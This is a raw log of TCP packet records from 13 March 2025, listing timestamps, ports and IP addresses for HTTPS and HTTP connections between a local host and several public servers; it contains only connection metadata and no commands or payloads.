Mar 13, 2025 10:09:47.363401890 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.363456011 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.365189075 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.365259886 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.365273952 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.365389109 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.366992950 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.367054939 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.367067099 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.368798018 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.368849993 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.368875027 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.370506048 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.370520115 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.370548010 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.370563984 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.370610952 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.372205973 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.372248888 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.373826981 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.373843908 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.373884916 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.373900890 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.375709057 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.375754118 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.375767946 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.377439976 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.377451897 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.377492905 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.377502918 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.377670050 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.379163027 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.379174948 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.379209995 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.379223108 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.380717993 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.380772114 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.382517099 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.382540941 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.382581949 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.384043932 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.384089947 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.384104967 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.384174109 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.384223938 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.385752916 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.385765076 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.385796070 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.385807991 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.387360096 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.387388945 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.387420893 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.389020920 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.389033079 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.389066935 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.389081001 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.389158964 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.390619040 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.390671968 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.390682936 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.392537117 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.392566919 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.392584085 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.393898010 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.393963099 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.393971920 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.394100904 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.395349026 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.395433903 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.395490885 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.395498991 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.398577929 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.398644924 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.398667097 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.398696899 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.398722887 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.399024010 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.404290915 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.404334068 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.404340029 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.404356003 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.404371023 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.404391050 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.408524990 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.408586979 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.408652067 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.408689976 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.415079117 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.415131092 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.415153980 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.415190935 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.415239096 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.415246010 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.419275999 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.419351101 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.419365883 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.419368029 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.419384956 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.419405937 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.419804096 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.419821024 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.419850111 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.419857025 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.419939041 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.425510883 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.425543070 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.425739050 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.425801992 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.425828934 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.425848961 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.425862074 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.425899982 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.431792021 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.431828976 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.431843042 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.431844950 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.431860924 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.431880951 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.431910992 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.431915998 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.437402010 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.437455893 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.437477112 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.437510967 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.437589884 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.437627077 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.442878008 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.442924976 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.442933083 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.442939997 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.442961931 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.442982912 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.446492910 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.446510077 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.446544886 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.446567059 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.446692944 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.446737051 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.446787119 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.447048903 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.447094917 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.451936007 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.451988935 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.452009916 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.452034950 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.452089071 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.452095985 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.457359076 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.457400084 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.457467079 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.457515001 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.457597971 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.462507963 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.462527037 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.462565899 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.462594986 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.462778091 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.462822914 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.467644930 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.467678070 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.467690945 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.467715979 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.467737913 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.467767954 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.470947027 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.470968962 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.470995903 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.470999956 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.471020937 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.471040964 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.475822926 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.475888968 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.475908995 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.475958109 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.475975990 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.475991964 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.476016998 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.476022959 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.476160049 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.480772018 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.480809927 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.480890989 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.480921984 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.480936050 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.480964899 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.485424995 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.485486031 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.485495090 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.485513926 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.485554934 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.485560894 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.491103888 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.491162062 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.491182089 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.491214991 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.491225004 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.491226912 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.491235971 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.491267920 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.511634111 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.511658907 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.511671066 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.511707067 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.511734962 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.511753082 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.511926889 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.511956930 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.511970043 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.511975050 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.511981010 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.511993885 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.512007952 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.512012959 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.563257933 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:47.563281059 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:47.600058079 CET	49733	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:47.600094080 CET	443	49733	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:47.600296974 CET	49734	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:47.600331068 CET	443	49734	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:47.600379944 CET	49734	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:47.600589037 CET	49733	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:47.600744963 CET	49734	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:47.600764036 CET	443	49734	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:47.601083040 CET	49733	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:47.601094007 CET	443	49733	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:47.604625940 CET	49735	443	192.168.2.4	104.17.24.14
Mar 13, 2025 10:09:47.604644060 CET	443	49735	104.17.24.14	192.168.2.4
Mar 13, 2025 10:09:47.604749918 CET	49735	443	192.168.2.4	104.17.24.14
Mar 13, 2025 10:09:47.605040073 CET	49735	443	192.168.2.4	104.17.24.14
Mar 13, 2025 10:09:47.605050087 CET	443	49735	104.17.24.14	192.168.2.4
Mar 13, 2025 10:09:47.614343882 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:49.602078915 CET	443	49734	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:49.602596045 CET	49734	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:49.602611065 CET	443	49734	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:49.603367090 CET	443	49733	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:49.603651047 CET	49733	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:49.603662014 CET	443	49733	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:49.603688955 CET	443	49734	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:49.603741884 CET	49734	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:49.604737043 CET	443	49733	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:49.604793072 CET	49733	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:49.608422995 CET	49734	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:49.608522892 CET	443	49734	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:49.608589888 CET	49733	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:49.608650923 CET	443	49733	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:49.608932972 CET	49734	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:49.608951092 CET	443	49734	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:49.609024048 CET	49733	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:49.609030962 CET	443	49733	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:49.657159090 CET	443	49735	104.17.24.14	192.168.2.4
Mar 13, 2025 10:09:49.657406092 CET	49735	443	192.168.2.4	104.17.24.14
Mar 13, 2025 10:09:49.657418966 CET	443	49735	104.17.24.14	192.168.2.4
Mar 13, 2025 10:09:49.657627106 CET	49734	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:49.657656908 CET	49733	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:49.658530951 CET	443	49735	104.17.24.14	192.168.2.4
Mar 13, 2025 10:09:49.658617020 CET	49735	443	192.168.2.4	104.17.24.14
Mar 13, 2025 10:09:49.660123110 CET	49735	443	192.168.2.4	104.17.24.14
Mar 13, 2025 10:09:49.660413980 CET	49735	443	192.168.2.4	104.17.24.14
Mar 13, 2025 10:09:49.660541058 CET	443	49735	104.17.24.14	192.168.2.4
Mar 13, 2025 10:09:49.703521013 CET	49735	443	192.168.2.4	104.17.24.14
Mar 13, 2025 10:09:49.703538895 CET	443	49735	104.17.24.14	192.168.2.4
Mar 13, 2025 10:09:49.749955893 CET	49735	443	192.168.2.4	104.17.24.14
Mar 13, 2025 10:09:50.046333075 CET	443	49734	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.061105013 CET	443	49734	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.061139107 CET	443	49734	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.061163902 CET	49734	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:50.061182022 CET	443	49734	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.061232090 CET	49734	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:50.067653894 CET	443	49734	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.067696095 CET	443	49734	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.067744017 CET	49734	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:50.067754984 CET	443	49734	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.074393034 CET	443	49734	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.074470997 CET	49734	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:50.074479103 CET	443	49734	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.080053091 CET	443	49733	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.081219912 CET	443	49734	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.081283092 CET	49734	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:50.081290960 CET	443	49734	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.087903023 CET	443	49734	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.087948084 CET	49734	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:50.087961912 CET	443	49734	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.107044935 CET	443	49733	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.107054949 CET	443	49733	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.107065916 CET	443	49733	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.107150078 CET	49733	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:50.107167006 CET	443	49733	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.107208967 CET	443	49733	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.107232094 CET	49733	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:50.107232094 CET	49733	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:50.137994051 CET	443	49735	104.17.24.14	192.168.2.4
Mar 13, 2025 10:09:50.138030052 CET	443	49735	104.17.24.14	192.168.2.4
Mar 13, 2025 10:09:50.138051033 CET	443	49735	104.17.24.14	192.168.2.4
Mar 13, 2025 10:09:50.138071060 CET	443	49735	104.17.24.14	192.168.2.4
Mar 13, 2025 10:09:50.138072968 CET	49735	443	192.168.2.4	104.17.24.14
Mar 13, 2025 10:09:50.138089895 CET	443	49735	104.17.24.14	192.168.2.4
Mar 13, 2025 10:09:50.138117075 CET	49735	443	192.168.2.4	104.17.24.14
Mar 13, 2025 10:09:50.140357971 CET	49734	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:50.155514002 CET	49733	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:50.164859056 CET	443	49735	104.17.24.14	192.168.2.4
Mar 13, 2025 10:09:50.164885044 CET	443	49735	104.17.24.14	192.168.2.4
Mar 13, 2025 10:09:50.164930105 CET	49735	443	192.168.2.4	104.17.24.14
Mar 13, 2025 10:09:50.164957047 CET	443	49735	104.17.24.14	192.168.2.4
Mar 13, 2025 10:09:50.164998055 CET	49735	443	192.168.2.4	104.17.24.14
Mar 13, 2025 10:09:50.166699886 CET	443	49735	104.17.24.14	192.168.2.4
Mar 13, 2025 10:09:50.173401117 CET	443	49735	104.17.24.14	192.168.2.4
Mar 13, 2025 10:09:50.173420906 CET	443	49735	104.17.24.14	192.168.2.4
Mar 13, 2025 10:09:50.173572063 CET	49735	443	192.168.2.4	104.17.24.14
Mar 13, 2025 10:09:50.173588991 CET	443	49735	104.17.24.14	192.168.2.4
Mar 13, 2025 10:09:50.173702955 CET	49735	443	192.168.2.4	104.17.24.14
Mar 13, 2025 10:09:50.175183058 CET	443	49734	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.175199986 CET	443	49734	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.175215960 CET	443	49734	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.175224066 CET	443	49734	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.175242901 CET	49734	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:50.175246954 CET	443	49734	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.175271034 CET	443	49734	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.175296068 CET	49734	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:50.175317049 CET	49734	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:50.194819927 CET	443	49733	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.194832087 CET	443	49733	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.194849014 CET	443	49733	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.194864035 CET	443	49733	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.194941998 CET	49733	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:50.194941998 CET	49733	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:50.194955111 CET	443	49733	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.194994926 CET	49733	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:50.200104952 CET	443	49735	104.17.24.14	192.168.2.4
Mar 13, 2025 10:09:50.208779097 CET	443	49734	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.208791971 CET	443	49734	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.208807945 CET	443	49734	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.208836079 CET	49734	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:50.208853960 CET	443	49734	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.208878040 CET	49734	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:50.208895922 CET	49734	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:50.228353024 CET	49738	80	192.168.2.4	142.250.181.227
Mar 13, 2025 10:09:50.233055115 CET	80	49738	142.250.181.227	192.168.2.4
Mar 13, 2025 10:09:50.233131886 CET	49738	80	192.168.2.4	142.250.181.227
Mar 13, 2025 10:09:50.233277082 CET	49738	80	192.168.2.4	142.250.181.227
Mar 13, 2025 10:09:50.234504938 CET	443	49735	104.17.24.14	192.168.2.4
